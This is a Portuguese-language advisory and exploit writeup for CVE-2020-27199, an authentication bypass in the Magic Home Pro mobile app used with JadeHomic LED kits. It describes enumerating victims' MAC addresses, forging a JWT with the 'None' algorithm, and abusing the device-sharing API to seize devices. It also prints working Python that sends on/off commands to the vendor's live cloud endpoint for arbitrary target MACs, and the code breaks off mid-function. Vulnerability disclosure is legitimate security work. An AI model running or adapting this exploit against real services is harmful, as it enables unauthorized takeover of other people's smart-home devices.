
CVE-2020-27199

Múltiplas vulnerabilidades encontradas no Aplicativo Móvel Magic Home Pro, usado para interagir com o Kit RGB de Fita LED JadeHomic. A mais significativa dessas vulnerabilidades é um Bypass de Autenticação (CVE-2020-27199), que permite o controle total e a tomada de todo o grupo de dispositivos de uma vítima.
magichome-forge.py - Forjador JWT, usado para automatizar a tomada de dispositivos
magichome-sniffer.py - Sniffer de rede local que procura na rede por dispositivos suscetíveis. Constrói uma lista de dispositivos contra os quais os ataques podem ser executados
magichome-switch.py - Permite acender os dispositivos
magichome-takeover.py - Payload que permite a tomada bem-sucedida da conta de um usuário
Suzhou SmartChip Semiconductor Co.,Ltd
Esta vulnerabilidade permite que qualquer usuário autenticado utilize seu nível de autorização atual para interrogar endpoints que não fazem parte de seus produtos registrados, usando uma chamada de API para /app/getBindedUserListByMacAddress/ZG001?macAddress=<endereço mac>. Isso resulta em uma resposta HTTP que indica a existência do endpoint e retorna o Nome de Usuário, Identificador Único do Usuário (userUniID) e o ID Único Vinculado (bindedUniID) do endpoint associado.
Usando a interrogação acima, um atacante pode então utilizar uma requisição POST não autorizada para a API /app/sendCommandBatch/ZG001, usando o endereço MAC recém-enumerado para enviar comandos ao endpoint remoto usando comandos hexadecimais compatíveis 71230fa3 e 71240fa4, resultando em LIGAR e DESLIGAR, respectivamente.
Após a enumeração inicial ser concluída, também é possível forjar um JWT usando o userID e o uniID nos dados do payload do JWT, efetivamente rebaixando o token para usar 'None' como algoritmo na seção de cabeçalho do JWT (vulnerabilidade de bypass de assinatura). Usando esta vulnerabilidade, o aplicativo fica suscetível à tomada de dispositivos por um atacante através da chamada de API remota para /app/shareDevice/ZG001 e utilizando o parâmetro JSON friendUserID para adicionar o dispositivo à lista de dispositivos do atacante, dando ao atacante controle total sobre o dispositivo endpoint.
Créditos:
O OUI descreve o Identificador Único da Organização para Endereços MAC registrados em uma organização. No caso da JadeHomic, o OUI mágico é C8:2E:47, onde os primeiros três bytes correspondem ao fabricante e os segundos três bytes correspondem ao número de série atribuído pelo fabricante. No nosso caso, o identificador do fabricante está registrado para Suzhou SmartChip Semiconductor Co., LTD.
Permite o bypass de autenticação do aplicativo móvel Magic Home Pro e, consequentemente, o controle total de todo o grupo de dispositivos de um usuário vítima.
A prova de conceito enumera os últimos bytes dentro do intervalo de MAC e retorna descobertas. Permite um teste de 'execução remota' se você estiver se sentindo ousado.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):